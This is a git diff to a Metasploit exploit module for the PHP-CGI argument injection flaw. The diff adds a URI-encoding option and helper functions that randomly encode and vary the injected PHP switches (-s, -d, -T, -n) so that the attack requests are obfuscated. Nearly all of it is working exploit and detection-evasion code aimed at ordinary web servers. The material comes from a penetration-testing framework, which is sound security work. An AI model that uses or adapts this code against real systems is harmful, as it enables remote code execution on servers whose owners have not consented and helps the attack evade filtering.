diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 8794c4bc56..0e61c04583 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote a system-defined manner" from the RFC) and then passes them to the CGI binary." }, - 'Author' => [ 'egypt', 'hdm' ], + 'Author' => [ 'egypt', 'hdm', #original msf exploit + 'jjarmoc' ], #added URI encoding obfuscation 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ @@ -53,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]), + OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]), ], self.class) end @@ -73,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - response = send_request_raw({ 'uri' => uri + '?-s'}) + response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"}) if response and response.code == 200 and response.body =~ /\\ [ + "#{rand_dash}#{rand_encode("d")}", + "#{rand_dash}#{rand_dash}#{rand_encode("define")}" + ], + "-s" => [ + "#{rand_dash}#{rand_encode("s")}", + "#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}", + "#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}" + ], + "-T" => [ + "#{rand_dash}#{rand_encode("T")}", + "#{rand_dash}#{rand_dash}#{rand_encode("timing")}" + ], + "-n" => [ + "#{rand_dash}#{rand_encode("n")}", + "#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}" + ] + } + + equivs = opt_equivs[opt] + equivs ? equivs[rand(opt_equivs[opt].length)] : opt + + end + + def rand_encode(string, max = string.length) + # Randomly URI encode characters from string, up to max times. + chars = []; + if max > datastore["URIENCODING"] then max = datastore["URIENCODING"] end + if string.length == 1 + if rand(2) > 0 + chars << 0 + end + else + if max > 0 + max.times { chars << rand(string.length)} + end + end + chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")} + string + end + + def rand_spaces(num = datastore["URIENCODING"]) + ret = '' + num.times { + ret << rand_space + } + ret + end + + def rand_space + datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+" + end + + def rand_dash + datastore["URIENCODING"] > 0 ? ["-","%2d","%2D"][rand(3)] : "-" + end + def rand_php_ini_false Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)]) end